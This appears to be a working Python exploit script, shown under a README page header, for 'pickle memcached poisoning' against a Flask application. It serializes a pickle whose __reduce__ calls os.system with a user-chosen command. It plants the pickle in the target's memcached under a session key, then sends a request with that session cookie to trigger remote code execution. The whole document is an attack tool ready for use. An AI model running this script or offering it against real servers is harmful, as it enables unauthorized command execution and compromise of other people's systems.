README.md
Rendering markdown...
import pickle
import argparse
import os
import requests
import pyfiglet
from pymemcache.client import base
parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help="Target Machine Ip Address", type=str, required=True)
parser.add_argument("--rport", help="Python Flask App Port", type=int, default=5000)
parser.add_argument("--cmd", help="Command to get executed on the target machine", type=str, required=True)
parser.add_argument("--cookie", help="Your ACTUAL SESSION COOKIE from the VULNERABLE FLASK Application. Example: \"session:3e8234e1-6c89-4ac2-be53-20574edcbcaa\"", type=str, required=True)
args = parser.parse_args()
cmd = args.cmd
rhost = args.rhost
rport = args.rport
cookie = args.cookie
class rce_payload:
def __reduce__(self):
return (os.system, (cmd,))
def pickle_ser():
pickled = pickle.dumps(rce_payload()) #Serializing the payload
client = base.Client((rhost, 11211)) #Connecting to the memcached service.
client.set(cookie, pickled)
def exploit_trigger():
cookie_dict = dict(cookie.split(":") for item in cookie)
r = requests.get(url = f"http://{rhost}:{rport}",cookies=cookie_dict)
if (r.status_code == 200):
print("Sucess!")
elif (r.status_code == 404):
print("Not Found!")
if __name__ == '__main__':
ascii_banner = pyfiglet.figlet_format("PICKLE - MEMCACHED \n POISONING \n")
print(ascii_banner)
pickle_ser()
exploit_trigger()